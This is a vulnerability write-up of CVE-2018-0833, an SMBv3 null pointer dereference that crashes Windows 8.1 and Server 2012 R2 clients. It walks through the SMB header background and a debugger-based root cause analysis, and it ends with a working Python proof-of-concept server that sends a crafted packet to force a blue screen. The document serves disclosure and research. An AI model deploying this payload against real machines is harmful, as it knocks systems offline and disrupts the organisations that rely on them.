SMBv3 Null Pointer Dereference vulnerability (CVE-2018-0833)

Table of contents

Intro

Late last year while setting up a fuzzer to target the SMB protocol, I discovered a vulnerability so simple yet so effective in disrupting large enterprises.
TL;DR: A Denial-of-Service bug allowing to BSOD Windows 8.1 and Windows Server 2012 R2 machines with a one single packet. Big thanks to Eric Schayes for joining me during the Root Cause Analysis.

Targets

The following vulnerability has been tested and validated on:

  • Windows 8.1 (x86)

  • Windows Server 2012 R2 (x64)

Background

To understand the root cause of this vulnerability, it is important to understand how SMB packets are built.
Let’ have a look on the SMBv1 header:
Source: https://msdn.microsoft.com/en-us/library/ee441774.aspx
As we can see, the protocol field begins with FF byte.
Now let’s check what’s happening with SMBv2
Source: https://msdn.microsoft.com/en-us/library/cc246528.aspx
The protocol field begin now with the FE byte.
What about SMBv3? The v3 of SMB protocol is encrypted and will use a specific header called SMB2_Transform for encrypted communications:
SMBv3 is always encrypted, and as it can be learned in official documentation, the negotiation of SMBv3 session begin with a SMBv2 session.

Here are the packets involved in the setup of a SMBv3 session:
In the packets from 1 to 8, the SMB header looks like that:
As we can see, the byte sequence used is still 0xFE which is the SMBv2 code as indicate in Microsoft documentation.

From frame 9, encryption is on and the byte sequence used in the header will be 0xFD:
As you can see in the PoC, the crash happens when sending immediately a SMB packet with the 0xFD header without negotiating the session for the first time.
Let’s have a deeper look at crash dump to understand the root cause of this crash.

Root Cause Analysis

REMARK: the root cause analysis is only performed on Windows 8.1 (x86) Sending a specially crafted packet causes a kernel panic, because it wants to read a value from memory which is protected (null page protection) on address 0x00000030.
The module where this crash occurs is “mrxsmb.sys” which is a Microsoft Server Message Block (SMB) redirector. The exact place of the crash is mrxsmb!SmbWksReceiveEvent+8539 where a move occurs from [ecx+30h] to register EAX, the value of ECX is pointing to 0x00000000.
When we follow the flow in IDA it looks as follows:
The packet is handled and check if encryption is enabled or not which relates to SMB 3.0 that uses encrypted SMB packets.
In WinDBG it looks like this:
Essentially it will check if encryption is enabled, if this is the case it will follow the “false” path and move to the next function:
It will perform some moves and the second last instruction a compare happens which will check if register ECX with hex value 0x34. If ECX is below or equal to 0x34 which in our case is false.
I will follow the “false” path:
Another compare instruction occurs and in this case if register EDX (attacker controllable value) is higher than the value of [ESP+4C] it will follow the “true” path
The next following instruction simply put values in the various registers:
The next instruction again compares the value of ECX with 0x34 and it will follow the “true” path if ECX is higher than 0x34.
In our case it will follow the true path since the value of ECX is higher than 0x34.
The following instruction block performs a test between the value of _Microsoft_Windows_SMBClientEnableBits to 0x80000000.
In WinDBG we can see that the test will result in a “false” and subsequently will follow the “false” path.
Leading us to a test instruction which will be always “true”, moving to function “locA0F20E05”.
After putting zeros on the stack it goes to function “loc
A0F20E15” in this case:
At instruction where it moved ECX+30h to EAX the crash occurs because ECX is 0x00000000 and it will try to read the value from 0x00000030 which is protected memory space.
This causes a kernel panic and will force the machine to reboot.
As you might have noticed there are number of times where our attacker controlled values were stored in various registers, but we did not find a way to use those registers to gain full control over the flow.

Proof-of-Concept

import SocketServer  
from binascii import unhexlify  
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'  
class byebye(SocketServer.BaseRequestHandler):  
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1  
launch = SocketServer.TCPServer(('', 445),byebye)  
launch.serve_forever()  

PoC demo